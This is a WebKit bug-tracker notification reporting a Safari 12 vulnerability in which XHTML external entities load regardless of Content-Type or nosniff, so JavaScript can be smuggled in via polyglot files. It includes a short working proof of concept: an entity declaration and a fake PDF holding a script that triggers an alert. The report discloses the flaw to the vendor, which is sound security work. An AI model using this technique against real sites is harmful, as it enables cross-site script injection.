[Webkit-unassigned] [Bug 191171] New: Content-Type & Nosniff Ignored

[bugzilla-daemon at webkit.org]

https://bugs.webkit.org/show_bug.cgi?id=191171

            Bug ID: 191171
           Summary: Content-Type & Nosniff Ignored
           Product: WebKit
           Version: Safari 12
          Hardware: Unspecified
                OS: All
            Status: NEW
          Severity: Normal
          Priority: P2
         Component: XML DOM
          Assignee: webkit-unassigned at lists.webkit.org
          Reporter: pickrrya at gmail.com

VULNERABILITY DETAILS
XHTML files with external entities in the doctype declaration will fetch the external entity and put it into the DOM regardless of Content-Type or nosniff. This lets an attacker use polyglot files with embedded XHTML to smuggle in JavaScript.


REPRODUCTION CASE

foo.xhtml (on https://example.com)
-------------------------
<!DOCTYPE x[<!ENTITY x SYSTEM "https://example.com/fake.pdf">]><y>&x;</y>
-------------------------

fake.pdf (on https://example.com with application/pdf Content-Type)
-------------------------
...
<script xmlns="http://www.w3.org/1999/xhtml">alert(document.domain)</script>
...
-------------------------

Viewing foo.xhtml will show a popup of document.domain. 

PoC can be viewed here: https://bughunting.s3.amazonaws.com/nosniff/foo.xhtml

-- 
You are receiving this mail because:
You are the assignee for the bug.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.webkit.org/pipermail/webkit-unassigned/attachments/20181101/b73fda6c/attachment.html>